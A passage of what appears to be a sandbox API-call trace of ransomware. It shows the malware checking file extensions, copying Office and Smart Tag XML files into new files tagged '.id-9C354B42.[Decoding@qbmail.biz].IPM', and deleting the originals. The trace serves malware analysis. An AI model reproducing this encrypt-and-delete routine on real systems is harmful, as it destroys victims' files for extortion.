(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.797] lstrlenW (lpString=".zip") returned 4 [0086.797] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.797] lstrlenW (lpString=".rar") returned 4 [0086.797] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.798] lstrlenW (lpString=".bz2") returned 4 [0086.798] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.798] lstrlenW (lpString=".7z") returned 3 [0086.798] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.798] lstrlenW (lpString=".dbf") returned 4 [0086.798] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.798] lstrlenW (lpString=".1cd") returned 4 [0086.798] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.798] lstrlenW (lpString=".jpg") returned 4 [0086.798] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.799] lstrlenW (lpString=".doc") returned 4 [0086.799] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.799] lstrlenW (lpString=".docx") returned 5 [0086.799] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.799] lstrlenW (lpString=".pdf") returned 4 [0086.799] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.799] lstrlenW (lpString=".xls") returned 4 [0086.799] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.799] lstrlenW (lpString=".xlsx") returned 5 [0086.799] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.799] lstrlenW (lpString=".ppt") returned 4 [0086.799] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.799] lstrlenW (lpString=".zip") returned 4 [0086.799] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.800] lstrlenW (lpString=".rar") returned 4 [0086.800] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.800] lstrlenW (lpString=".bz2") returned 4 [0086.800] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.800] lstrlenW (lpString=".7z") returned 3 [0086.800] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.800] lstrlenW (lpString=".dbf") returned 4 [0086.800] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.800] lstrlenW (lpString=".1cd") returned 4 [0086.800] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0086.800] lstrlenW (lpString=".jpg") returned 4 [0086.800] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.801] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.801] lstrlenW (lpString="SETUP.XML") returned 9 [0086.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0087.210] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2424) returned 1 [0087.210] CloseHandle (hObject=0x1d8) returned 1 [0087.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0087.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0087.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0087.210] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0087.210] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0087.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0087.891] GetLastError () returned 0x0 [0087.891] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x978, lpOverlapped=0x0) returned 1 [0088.282] WriteFile (in: hFile=0x1f8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x980, lpOverlapped=0x0) returned 1 [0089.254] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.254] WriteFile (in: hFile=0x1f8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0089.254] SetEndOfFile (hFile=0x1f8) returned 1 [0089.254] CloseHandle (hObject=0x1f8) returned 1 [0089.445] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.445] SetEndOfFile (hFile=0x1d8) returned 1 [0089.488] CloseHandle (hObject=0x1d8) returned 1 [0089.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0089.489] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.489] lstrlenW (lpString=".doc") returned 4 [0089.489] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.489] lstrlenW (lpString=".docx") returned 5 [0089.489] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.490] lstrlenW (lpString=".pdf") returned 4 [0089.490] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.490] lstrlenW (lpString=".xls") returned 4 [0089.490] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.490] lstrlenW (lpString=".xlsx") returned 5 [0089.490] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.490] lstrlenW (lpString=".ppt") returned 4 [0089.490] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.490] lstrlenW (lpString=".zip") returned 4 [0089.490] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.490] lstrlenW (lpString=".rar") returned 4 [0089.490] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.490] lstrlenW (lpString=".bz2") returned 4 [0089.490] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.490] lstrlenW (lpString=".7z") returned 3 [0089.491] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.491] lstrlenW (lpString=".dbf") returned 4 [0089.491] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.491] lstrlenW (lpString=".1cd") returned 4 [0089.491] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.491] lstrlenW (lpString=".jpg") returned 4 [0089.491] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.491] lstrlenW (lpString=".doc") returned 4 [0089.491] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.492] lstrlenW (lpString=".docx") returned 5 [0089.492] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.492] lstrlenW (lpString=".pdf") returned 4 [0089.492] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.492] lstrlenW (lpString=".xls") returned 4 [0089.492] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.492] lstrlenW (lpString=".xlsx") returned 5 [0089.492] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.492] lstrlenW (lpString=".ppt") returned 4 [0089.492] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.492] lstrlenW (lpString=".zip") returned 4 [0089.492] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.492] lstrlenW (lpString=".rar") returned 4 [0089.492] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.492] lstrlenW (lpString=".bz2") returned 4 [0089.493] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.493] lstrlenW (lpString=".7z") returned 3 [0089.493] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.493] lstrlenW (lpString=".dbf") returned 4 [0089.493] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.493] lstrlenW (lpString=".1cd") returned 4 [0089.493] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0089.493] lstrlenW (lpString=".jpg") returned 4 [0089.493] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.494] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0089.494] lstrlenW (lpString="DATES.XML") returned 9 [0089.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0089.495] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=8918) returned 1 [0089.495] CloseHandle (hObject=0x1d8) returned 1 [0089.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0089.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0089.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0089.495] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.495] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0089.500] GetLastError () returned 0x0 [0089.500] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0089.503] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0089.505] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.505] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0089.506] SetEndOfFile (hFile=0x1f4) returned 1 [0089.506] CloseHandle (hObject=0x1f4) returned 1 [0089.507] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.507] SetEndOfFile (hFile=0x1d8) returned 1 [0089.508] CloseHandle (hObject=0x1d8) returned 1 [0089.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0089.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0089.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.509] lstrlenW (lpString=".doc") returned 4 [0089.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.509] lstrlenW (lpString=".docx") returned 5 [0089.509] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0089.509] lstrlenW (lpString=".pdf") returned 4 [0089.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.509] lstrlenW (lpString=".xls") returned 4 [0089.510] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.510] lstrlenW (lpString=".xlsx") returned 5 [0089.510] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0089.510] lstrlenW (lpString=".ppt") returned 4 [0089.510] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.510] lstrlenW (lpString=".zip") returned 4 [0089.510] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.510] lstrlenW (lpString=".rar") returned 4 [0089.510] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.510] lstrlenW (lpString=".bz2") returned 4 [0089.510] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.510] lstrlenW (lpString=".7z") returned 3 [0089.510] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.510] lstrlenW (lpString=".dbf") returned 4 [0089.510] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.510] lstrlenW (lpString=".1cd") returned 4 [0089.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.511] lstrlenW (lpString=".jpg") returned 4 [0089.511] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.511] lstrlenW (lpString=".doc") returned 4 [0089.511] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.511] lstrlenW (lpString=".docx") returned 5 [0089.511] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0089.511] lstrlenW (lpString=".pdf") returned 4 [0089.511] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.511] lstrlenW (lpString=".xls") returned 4 [0089.511] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.511] lstrlenW (lpString=".xlsx") returned 5 [0089.511] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0089.511] lstrlenW (lpString=".ppt") returned 4 [0089.511] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.511] lstrlenW (lpString=".zip") returned 4 [0089.511] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.511] lstrlenW (lpString=".rar") returned 4 [0089.511] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.512] lstrlenW (lpString=".bz2") returned 4 [0089.512] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.512] lstrlenW (lpString=".7z") returned 3 [0089.512] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.512] lstrlenW (lpString=".dbf") returned 4 [0089.512] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.512] lstrlenW (lpString=".1cd") returned 4 [0089.512] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0089.513] lstrlenW (lpString=".jpg") returned 4 [0089.513] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.513] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0089.513] lstrlenW (lpString="PHONE.XML") returned 9 [0089.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0089.514] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1844) returned 1 [0089.514] CloseHandle (hObject=0x1d8) returned 1 [0089.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0089.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0089.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0089.515] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.515] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0089.516] GetLastError () returned 0x0 [0089.516] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x734, lpOverlapped=0x0) returned 1 [0089.521] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x740, lpOverlapped=0x0) returned 1 [0089.523] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0089.523] WriteFile (in: hFile=0x1f4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0089.523] SetEndOfFile (hFile=0x1f4) returned 1 [0089.523] CloseHandle (hObject=0x1f4) returned 1 [0089.524] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.524] SetEndOfFile (hFile=0x1d8) returned 1 [0089.526] CloseHandle (hObject=0x1d8) returned 1 [0089.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0089.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0089.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0089.527] lstrlenW (lpString=".doc") returned 4 [0089.527] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 